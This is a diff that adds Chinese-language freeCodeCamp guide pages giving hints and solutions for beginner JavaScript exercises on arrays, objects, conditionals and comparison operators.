@@ -0,0 +1,45 @@
+---
+title: Modify an Array Stored in an Object
+localeTitle: 修改存储在对象中的数组
+---
+## 修改存储在对象中的数组
+
+### 方法：
+
+*   该函数只需两行代码即可编写。
+*   第一行应该只使用`push()`函数将`friend`参数添加到`user.data.friend`的数组中。第二行将返回修改后的数组。
+*   请记住，必须使用`addFriend()`函数的第一个参数引用`user` 。
+
+### 解：
+
+```javascript
+let user = { 
+  name: 'Kenneth', 
+  age: 28, 
+  data: { 
+    username: 'kennethCodesAllDay', 
+    joinDate: 'March 26, 2016', 
+    organization: 'freeCodeCamp', 
+    friends: [ 
+      'Sam', 
+      'Kira', 
+      'Tomo' 
+    ], 
+    location: { 
+      city: 'San Francisco', 
+      state: 'CA', 
+      country: 'USA' 
+    } 
+  } 
+ }; 
+ 
+ function addFriend(userObj, friend) { 
+  // change code below this line 
+  userObj.data.friends.push(friend); 
+  return userObj.data.friends; 
+  // change code above this line 
+ } 
+ 
+ console.log(addFriend(user, 'Pete')); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/modify-an-object-nested-within-an-object/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/modify-an-object-nested-within-an-object/index.md
new file mode 100644
index 0000000000..71aa0718ee
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/modify-an-object-nested-within-an-object/index.md
@@ -0,0 +1,46 @@
+---
+title: Modify an Object Nested Within an Object
+localeTitle: 修改嵌套在对象中的对象
+---
+## 修改嵌套在对象中的对象
+
+方法：
+
+*   请记住，您想要更改的对象是两个级别， `dot-notation`在此实例中更容易使用。
+*   只需定义对象，然后使用`dot-notation`访问第二个对象，最后使用您想要修改的最终元素。
+
+## 例：
+
+```javascript
+let myObject = { 
+  level_1: 'outside', 
+  first_level_object: { 
+    level_2: '2 levels deep', 
+    second_level_object: { 
+      level_3: '3 levels deep' 
+      } 
+   } 
+ }; 
+ //The following line of code will modify the data found in level_2. 
+ myObject.first_level_object.level_2 = 'level-2 has been reached'; 
+```
+
+## 解：
+
+```javascript
+let userActivity = { 
+  id: 23894201352, 
+  date: 'January 1, 2017', 
+  data: { 
+    totalUsers: 51, 
+    online: 42 
+  } 
+ }; 
+ 
+ // change code below this line 
+ userActivity.data.online = 45; 
+ // change code above this line 
+ 
+ console.log(userActivity); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/remove-items-from-an-array-with-pop-and-shift/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/remove-items-from-an-array-with-pop-and-shift/index.md
new file mode 100644
index 0000000000..a919a1562d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/remove-items-from-an-array-with-pop-and-shift/index.md
@@ -0,0 +1,21 @@
+---
+title: Remove Items from an Array with pop() and shift()
+localeTitle: 使用pop（）和shift（）从数组中删除项
+---
+## 使用pop（）和shift（）从数组中删除项
+
+*   必须使用`popped`和`shifted`变量调用和初始化`.pop()`方法和`.shift()`方法，以从函数返回正确的答案。
+
+## 解：
+
+```javascript
+function popShift(arr) { 
+  let popped = arr.pop(); 
+  let shifted = arr.shift(); 
+  return [shifted, popped]; 
+ } 
+ 
+ // do not change code below this line 
+ console.log(popShift(['challenge', 'is', 'not', 'complete'])); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/remove-items-using-splice/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/remove-items-using-splice/index.md
new file mode 100644
index 0000000000..edbe830302
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/remove-items-using-splice/index.md
@@ -0,0 +1,23 @@
+---
+title: Remove Items Using splice()
+localeTitle: 使用splice（）删除项目
+---
+## 使用splice（）删除项目
+
+*   必须在`arr`数组上调用`splice()`函数，以便从数组的中心删除1个或多个元素。
+*   数组`arr`目前的`arr`值为16.只需删除返回10所需的任意数量的变量。
+
+## 解：
+
+```javascript
+function sumOfTen(arr) { 
+  // change code below this line 
+  arr.splice(1,2); 
+  // change code above this line 
+  return arr.reduce((a, b) => a + b); 
+ } 
+ 
+ // do not change code below this line 
+ console.log(sumOfTen([2, 5, 1, 5, 2, 1])); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/use-an-array-to-store-a-collection-of-data/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/use-an-array-to-store-a-collection-of-data/index.md
new file mode 100644
index 0000000000..e3cd93e634
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/use-an-array-to-store-a-collection-of-data/index.md
@@ -0,0 +1,28 @@
+---
+title: Use an Array to Store a Collection of Data
+localeTitle: 使用数组存储数据集合
+---
+## 使用数组存储数据集合
+
+### 方法：
+
+*   在JS中，Arrays是最常用的数据结构之一。与其他语言不同，JS中的数组可以存储不同的数据类型，也可以在运行时更改它们的大小，因此也称为“动态数组”。它们也被编入索引。
+*   数组可以用不同的方式初始化：
+
+1.  数组文字
+2.  数组构造函数
+
+*   在这个挑战中，我们将专注于数组文字。要初始化一个数组，我们只需`let arr = [];`
+*   我们可以通过访问索引来为这个数组添加值，例如： `javascript let arr = []; arr[0] = "hello"; console.log(arr); // ["hello"]`
+*   我们在声明它时也可以初始化数组中的值，例如： `javascript let arr = [1, 2, 3, "John"];`
+*   在此挑战中，您需要创建一个至少包含5个元素且至少包含一个字符串，一个数字和一个布尔值的数组。
+
+### 解：
+
+```js
+ let yourArray = ["a", 2, true, "c", null, {name: "john"}]; 
+```
+
+### 资源
+
+进一步阅读[MDN上的](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)数组。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/use-the-delete-keyword-to-remove-object-properties/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/use-the-delete-keyword-to-remove-object-properties/index.md
new file mode 100644
index 0000000000..086046b7a8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/use-the-delete-keyword-to-remove-object-properties/index.md
@@ -0,0 +1,27 @@
+---
+title: Use the delete Keyword to Remove Object Properties
+localeTitle: 使用删除关键字删除对象属性
+---
+## 使用删除关键字删除对象属性
+
+[Developer.mozilla.org](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete)提供了有关delete运算符的综合教程。
+
+### 解：
+
+```javascript
+let foods = { 
+  apples: 25, 
+  oranges: 32, 
+  plums: 28, 
+  bananas: 13, 
+  grapes: 35, 
+  strawberries: 27 
+ }; 
+ // change code below this line 
+ delete foods.oranges; 
+ delete foods.plums; 
+ delete foods.strawberries; 
+ // change code above this line 
+ console.log(foods); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/access-array-data-with-indexes/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/access-array-data-with-indexes/index.md
new file mode 100644
index 0000000000..173f05de55
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/access-array-data-with-indexes/index.md
@@ -0,0 +1,17 @@
+---
+title: Access Array Data with Indexes
+localeTitle: 使用索引访问数组数据
+---
+## 使用索引访问数组数据
+
+数组的第一个元素位于零位。因此，如果要访问数组的第一个元素，可以这样做：
+
+```javascript
+var arr = ["Programming", 123, "Coding", 789]; 
+ 
+ var firstElem = arr[0] // This is "Programming" 
+ var thirdElem = arr[2] // This is "Coding" 
+ var fourthElem = arr[3] // This is 789 
+```
+
+请注意，数组的长度为4，并且数组的最后一个元素的位置为3。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/access-multi-dimensional-arrays-with-indexes/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/access-multi-dimensional-arrays-with-indexes/index.md
new file mode 100644
index 0000000000..5ca864f193
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/access-multi-dimensional-arrays-with-indexes/index.md
@@ -0,0 +1,29 @@
+---
+title: Access Multi-Dimensional Arrays With Indexes
+localeTitle: 访问带索引的多维数组
+---
+## 访问带索引的多维数组
+
+考虑以下多维数组：
+
+```javascript
+var arr = [[1, 2, 3], [4, 5, 6], [7, 8, 9], [10, 11, 12]]; 
+```
+
+这是表格形式的样子。
+
+|职位| 0 | 1 | 2 | 3 | | --- | --- | --- | --- | --- | | **0** | 1 | 4 | 7 | 10 | | **1** | 2 | 5 | 8 | 11 | | **2** | 3 | 6 | 9 | 12 |
+
+现在你需要做的就是选择你想要的数据的坐标！例如，如果我们想让`myNum`等于8，那么......
+
+```javascript
+var myNum = arr[2][1]; // Equal to 8 
+```
+
+或者，如果你想要它等于1.你做...
+
+```javascript
+var myNum = arr[0][0]; // Equal to 1 
+```
+
+首先，您可以选择该数字所在的列，然后选择该行。它有点像xy坐标平面！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-arrays/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-arrays/index.md
new file mode 100644
index 0000000000..53a1305063
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-arrays/index.md
@@ -0,0 +1,69 @@
+---
+title: Accessing Nested Arrays
+localeTitle: 访问嵌套数组
+---
+## 访问嵌套数组
+
+### 使用括号表示法`[]`访问数组中的元素
+
+```js
+var fruitBasket = ['apple', 'banana' 'orange', 'melon']; 
+ var favoriteFruit = fruitBasket[2]; 
+ 
+ console.log(favoriteFruit) // 'orange' 
+```
+
+在这个例子中，我们最喜欢的水果是'orange'，它位于`fruitBasket`数组的索引`2` 。使用braket表示法，我们将`fruitBasket`数组的索引`2`分配给`favoriteFruit` 。这使得`favoriteFruit`等于'orange'。
+
+### 使用braket `[]`和dot访问数组中的对象`.`符号
+
+```js
+var garage = [ 
+  { 
+    type: 'car', 
+    color: 'red', 
+    make: 'Ford' 
+  }, 
+  { 
+    type: 'motorbike', 
+    color: 'black', 
+    make: 'Yamaha' 
+  }, 
+  { 
+    type: 'bus', 
+    color: 'yellow', 
+    make: 'Blue Bird' 
+  } 
+ ]; 
+ 
+ var busColor = garage[2].color; // 'yellow' 
+```
+
+## 解：
+
+```js
+// Setup 
+ var myPlants = [ 
+  { 
+    type: "flowers", 
+    list: [ 
+      "rose", 
+      "tulip", 
+      "dandelion" 
+    ] 
+  }, 
+  { 
+    type: "trees", 
+    list: [ 
+      "fir", 
+      "pine", 
+      "birch" 
+    ] 
+  } 
+ ]; 
+ 
+ // Only change code below this line 
+ 
+ var secondTree = myPlants[1].list[1]; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-objects/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-objects/index.md
new file mode 100644
index 0000000000..e5ccd8b8ed
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-objects/index.md
@@ -0,0 +1,50 @@
+---
+title: Accessing Nested Objects
+localeTitle: 访问嵌套对象
+---
+## 访问嵌套对象
+
+线索： **_“对于名称中带有空格的属性，请使用括号表示法。”_**
+
+如果我们看看我们的对象：
+
+```javascript
+var myStorage = { 
+  "car": { 
+    "inside": { 
+      "glove box": "maps", 
+      "passenger seat": "crumbs" 
+     }, 
+    "outside": { 
+      "trunk": "jack" 
+    } 
+  } 
+ }; 
+```
+
+我们的对象名是`myStorage` 。
+
+| - 在里面我们有一个名为`car`的嵌套对象。
+
+| ---里面，我们有两个所谓的`inside`和`outside`均拥有各自 自己的财产
+
+您可以像这样可视化对象结构，如果它有帮助：
+```
+myStorage 
+ |-- car 
+ |--- inside 
+ |----- glove box: maps 
+ |----- passenger seat: crumbs 
+ |--- outside 
+ |----- trunk: jack 
+```
+
+我们被要求分配`glove box`的内容， 我们可以看到它嵌套在`inside`对象中， 反过来，它嵌套在`car`对象中。
+
+我们可以使用点符号来访问`glove box` ，如下所示：
+
+```javascript
+var gloveBoxContents = myStorage.car.inside'complete here' 
+```
+
+您必须使用正确的方式替换`complete here`访问该属性。 如果你遇到困难，请看上面的线索。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-bracket-notation/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-bracket-notation/index.md
new file mode 100644
index 0000000000..4210a40470
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-bracket-notation/index.md
@@ -0,0 +1,21 @@
+---
+title: Accessing Object Properties with Bracket Notation
+localeTitle: 使用括号表示法访问对象属性
+---
+## 使用括号表示法访问对象属性
+
+这是一个可能的解决方案：
+
+```js
+var testObj = { 
+  "an entree": "hamburger", 
+  "my side": "veggies", 
+  "the drink": "water" 
+ }; 
+ 
+ // Only change code below this line 
+ 
+ var entreeValue = testObj["an entree"];   // Change this line 
+ var drinkValue = testObj["the drink"];    // Change this line 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-dot-notation/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-dot-notation/index.md
new file mode 100644
index 0000000000..3904e85b80
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-dot-notation/index.md
@@ -0,0 +1,21 @@
+---
+title: Accessing Object Properties with Dot Notation
+localeTitle: 使用点表示法访问对象属性
+---
+## 使用点表示法访问对象属性
+
+这是一个可能的解决方案：
+
+```js
+var testObj = { 
+  "hat": "ballcap", 
+  "shirt": "jersey", 
+  "shoes": "cleats" 
+ }; 
+ 
+ // Only change code below this line 
+ 
+ var hatValue = testObj.hat;      // Change this line 
+ var shirtValue = testObj.shirt;    // Change this line 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-variables/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-variables/index.md
new file mode 100644
index 0000000000..27ec3c6e6a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-variables/index.md
@@ -0,0 +1,22 @@
+---
+title: Accessing Object Properties with Variables
+localeTitle: 使用变量访问对象属性
+---
+## 使用变量访问对象属性
+
+这是一个可行的解决方案，以防您遇到困难：
+
+```js
+// Setup 
+ var testObj = { 
+  12: "Namath", 
+  16: "Montana", 
+  19: "Unitas" 
+ }; 
+ 
+ // Only change code below this line; 
+ 
+ var playerNumber = 16;       // Change this Line 
+ var player = testObj[playerNumber];   // Change this Line 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/add-new-properties-to-a-javascript-object/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/add-new-properties-to-a-javascript-object/index.md
new file mode 100644
index 0000000000..35a7f255d4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/add-new-properties-to-a-javascript-object/index.md
@@ -0,0 +1,33 @@
+---
+title: Add New Properties to a JavaScript Object
+localeTitle: 将新属性添加到JavaScript对象
+---
+## 将新属性添加到JavaScript对象
+
+这是一个例子：
+
+```js
+var ourDog = { 
+  "name": "Camper", 
+  "legs": 4, 
+  "tails": 1, 
+  "friends": ["everything!"] 
+ }; 
+ 
+ ourDog.bark = "bow-wow"; 
+```
+
+这是一个解决方案：
+
+```js
+var myDog = { 
+  "name": "Happy Coder", 
+  "legs": 4, 
+  "tails": 1, 
+  "friends": ["freeCodeCamp Campers"] 
+ }; 
+ 
+ // Only change code below this line. 
+ myDog.bark = "woof"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/add-two-numbers-with-javascript/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/add-two-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..a091bf45c3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/add-two-numbers-with-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Add Two Numbers with JavaScript
+localeTitle: 使用JavaScript添加两个数字
+---
+# 使用JavaScript添加两个数字
+
+JavaScript使用`+`符号进行添加。
+```
+var sum = 10 + 10; //sum gets the value 20 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/adding-a-default-option-in-switch-statements/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/adding-a-default-option-in-switch-statements/index.md
new file mode 100644
index 0000000000..01c762dde2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/adding-a-default-option-in-switch-statements/index.md
@@ -0,0 +1,28 @@
+---
+title: Adding a Default Option in Switch Statements
+localeTitle: 在交换机语句中添加默认选项
+---
+# 在交换机语句中添加默认选项
+
+*   添加默认选项可确保在您的变量与任何选项都不匹配的情况下，将使用默认选项。
+
+## 解：
+
+```javascript
+function switchOfStuff(val) { 
+  var answer = ""; 
+ 
+  switch(val){ 
+    case 'a': answer = 'apple'; 
+    break; 
+    case 'b': answer = 'bird'; 
+    break; 
+    case 'c': answer = 'cat'; 
+    break; 
+    default: answer = 'stuff'; 
+  } 
+ 
+  return answer; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/appending-variables-to-strings/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/appending-variables-to-strings/index.md
new file mode 100644
index 0000000000..e18935a001
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/appending-variables-to-strings/index.md
@@ -0,0 +1,13 @@
+---
+title: Appending Variables to Strings
+localeTitle: 将变量附加到字符串
+---
+## 将变量附加到字符串
+
+确保您的拼写和间距正确。附加字符串（存储在变量中）可以像这样完成：
+```
+var adj = "happy!"; 
+ var sent = "Today, I woke up being "; 
+ sent += adj; // The result is "Today, I woke up being happy!" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/assignment-with-a-returned-value/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/assignment-with-a-returned-value/index.md
new file mode 100644
index 0000000000..d00fb060c0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/assignment-with-a-returned-value/index.md
@@ -0,0 +1,14 @@
+---
+title: Assignment with a Returned Value
+localeTitle: 具有返回值的分配
+---
+## 具有返回值的分配
+
+函数充当它们输出的数据的占位符。基本上，您可以将函数的输出分配给变量，就像任何普通数据一样。
+
+这是基本的代码解决方案：
+
+```javascript
+processed = processArg(7); // Equal to 2 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/build-javascript-objects/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/build-javascript-objects/index.md
new file mode 100644
index 0000000000..0335b4e0b8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/build-javascript-objects/index.md
@@ -0,0 +1,19 @@
+---
+title: Build JavaScript Objects
+localeTitle: 构建JavaScript对象
+---
+# 构建JavaScript对象
+
+对象类似于数组，除了不使用索引访问和修改数据，您可以通过所谓的属性访问对象中的数据。
+
+这是一个示例对象：
+```
+var cat = { 
+    "name": "Whiskers", 
+    "legs": 4, 
+    "tails": 1, 
+    "enemies": ["Water", "Dogs"] 
+ }; 
+```
+
+对象对于以结构化方式存储数据非常有用，并且可以表示真实世界的对象，如猫。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/chaining-if-else-statements/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/chaining-if-else-statements/index.md
new file mode 100644
index 0000000000..4837c9d25a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/chaining-if-else-statements/index.md
@@ -0,0 +1,63 @@
+---
+title: Chaining If Else Statements
+localeTitle: 链接如果其他声明
+---
+## 链接如果其他声明
+
+*   `If` ：每个if / else语句中的第一个条件，条件为_true的_情况下，执行代码并忽略其余的。
+*   `Else if` ：永远不能用作第一个条件。它始终是一个条件后`if` ，情况条件为真，执行代码。否则跳进下一个条件。
+*   `Else` ：所有先前的条件都是_假的_ ， **否则**执行。
+
+### 问题解释：
+
+_写入链接`if` / `else if`语句以满足以下条件_ ：
+
+_`num < 5` - 返回“Tiny” `num < 10` - 返回“Small” `num < 15` - 返回“中” `num < 20` - 返回“Large” `num >= 20` - 返回“巨大”_
+
+#### 提示1
+
+请记住，您可以一个接一个地组合（链接）几个`if...else`语句，直到最后一个使用`else if (condition) {do this}` 。
+
+> _现在尝试解决问题_
+> 
+> #### 提示2
+> 
+> 有时候，当你编写的代码比你习惯的多，并且它不起作用时，小事就是背叛了我们。检查丢失的分号，括号等是非常有用的。 _现在尝试解决问题_
+
+## 扰流板警报！
+
+**提前解决！**
+
+## 解：
+
+```javascript
+function testSize(num) { 
+  // Only change code below this line 
+  if (num < 5){ 
+    return "Tiny"; 
+  } 
+  else if (num < 10) { 
+    return "Small"; 
+  } 
+  else if (num < 15){ 
+    return "Medium"; 
+  } 
+  else if (num < 20){ 
+    return "Large"; 
+  } 
+  else { 
+    return "Huge"; 
+  } 
+  // Only change code above this line 
+ } 
+```
+
+·在[repl.it上](https://repl.it/@AdrianSkar/Basic-JS-Chaining-ifelse-statements)运行代码
+
+### 代码说明
+
+该函数首先检查`if`条件`(num < 5)` 。如果它的计算结果为`true` ，则返回花括号之间的语句（“Tiny”）。如果没有，则检查下一个条件，直到最后一个`else`语句。
+
+### 资源
+
+*   [“if ... else” - _MDN JavaScript参考_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if…else)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comment-your-javascript-code/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comment-your-javascript-code/index.md
new file mode 100644
index 0000000000..535f2c4ace
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comment-your-javascript-code/index.md
@@ -0,0 +1,22 @@
+---
+title: Comment Your JavaScript Code
+localeTitle: 评论您的JavaScript代码
+---
+## 评论您的JavaScript代码
+
+通过注释，您可以键入不希望计算机作为代码运行的内容。例如，其他程序员的注释，方向等。以下是如何创建单行注释。
+```
+// Hey, I'm a comment! 
+```
+
+现在，如果你想评论整个段落，可以很容易地完成...
+```
+/* 
+  Hey, I'm a paragraph comment. 
+  This allows for programmers to 
+  write tons and tons of random 
+  words, without the fear of me 
+  being compiled! 
+ */ 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-equality-operator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-equality-operator/index.md
new file mode 100644
index 0000000000..7dee2513a0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-equality-operator/index.md
@@ -0,0 +1,46 @@
+---
+title: Comparison with the Equality Operator
+localeTitle: 与平等算子的比较
+---
+## 与等式运算符的比较
+
+### 问题解释：
+
+_将相等运算符添加到指示的行，以便当`val`等于12时，函数将返回“Equal”。_
+
+#### 提示1
+
+请记住， _相等性与赋值（ `=` ）不同，后者将运算符右侧的值赋给左侧的变量。_ [1](#cite1)
+
+> _现在尝试解决问题_
+
+## 扰流板警报！
+
+**提前解决！**
+
+## 基本代码解决方案
+
+```javascript
+function testEqual(val) { 
+  if (val == 12) { // Change this line 
+    return "Equal"; 
+  } 
+  return "Not equal"; 
+ } 
+ // Change this value to test 
+ testEqual(10); 
+```
+
+· [在repl.it上运行代码](https://repl.it/@AdrianSkar/Basic-JS-Equality-operator)
+
+### 代码说明
+
+功能首先评估`if`条件`(val == 12)`的计算结果为`true` 。如果是，则返回大括号之间的语句（“Equal”）。如果没有，则返回它们之外的下一个`return`语句（“Not equal”）。
+
+### 来源
+
+1 。 [“基本JavaScript：与平等运算符的比较”，JCC _算法和数据结构认证的_ fCC课程](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-equality-operator)
+
+### 资源
+
+*   [“Equality operator” - _MDN JavaScript参考_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality_())
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-greater-than-operator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-greater-than-operator/index.md
new file mode 100644
index 0000000000..45aae1c2f3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-greater-than-operator/index.md
@@ -0,0 +1,22 @@
+---
+title: Comparison with the Greater Than Operator
+localeTitle: 与大于运营商的比较
+---
+## 与大于运营商的比较
+
+`>` （大于）是一个逻辑运算符，它返回true，左边的值高于右边的值。
+
+## 基本解决方案
+
+```javascript
+function testGreaterThan(val) { 
+  if (val > 100) 
+    return "Over 100"; 
+ 
+  if (val > 10) 
+    return "Over 10"; 
+ 
+  return "10 or Under"; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-greater-than-or-equal-to-operator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-greater-than-or-equal-to-operator/index.md
new file mode 100644
index 0000000000..a5c238ea42
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-greater-than-or-equal-to-operator/index.md
@@ -0,0 +1,22 @@
+---
+title: Comparison with the Greater Than Or Equal To Operator
+localeTitle: 与大于或等于运算符的比较
+---
+## 与大于或等于运算符的比较
+
+*   `>=` （大于或等于）是一个逻辑运算符，它返回true，左边的值与右边的值**相同或更高** 。
+
+## 基本解决方案
+
+```javascript
+function testGreaterOrEqual(val) { 
+  if (val >= 20) 
+    return "20 or Over"; 
+ 
+  if (val >= 10) 
+    return "10 or Over"; 
+ 
+  return "Less than 10"; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-inequality-operator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-inequality-operator/index.md
new file mode 100644
index 0000000000..e36e717e59
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-inequality-operator/index.md
@@ -0,0 +1,20 @@
+---
+title: Comparison with the Inequality Operator
+localeTitle: 与不等式算子的比较
+---
+## 与不等式算子的比较
+
+*   `!=` （不等式）是一个逻辑运算符，它返回true，左边的值与右边的值不同。
+*   不等式运算符认为`7`和`"7"`是相同的，因为它不比较变量的类型。
+
+## 基本解决方案
+
+```javascript
+function testNotEqual(val) { 
+  if (val != 99) 
+    return "Not Equal"; 
+ 
+  return "Equal"; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-less-than-operator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-less-than-operator/index.md
new file mode 100644
index 0000000000..da9a9ddfaf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-less-than-operator/index.md
@@ -0,0 +1,22 @@
+---
+title: Comparison with the Less Than Operator
+localeTitle: 与小于算子的比较
+---
+## 与小于算子的比较
+
+**`<`** （Less Than）是一个逻辑运算符，它返回true，左边的值低于右边的值。
+
+## 基本解决方案
+
+```javascript
+function testLessThan(val) { 
+  if (val < 25) 
+    return "Under 25"; 
+ 
+  if (val < 55) 
+    return "Under 55"; 
+ 
+  return "55 or Over"; 
+ } 
+
+```
\ No newline at end of file
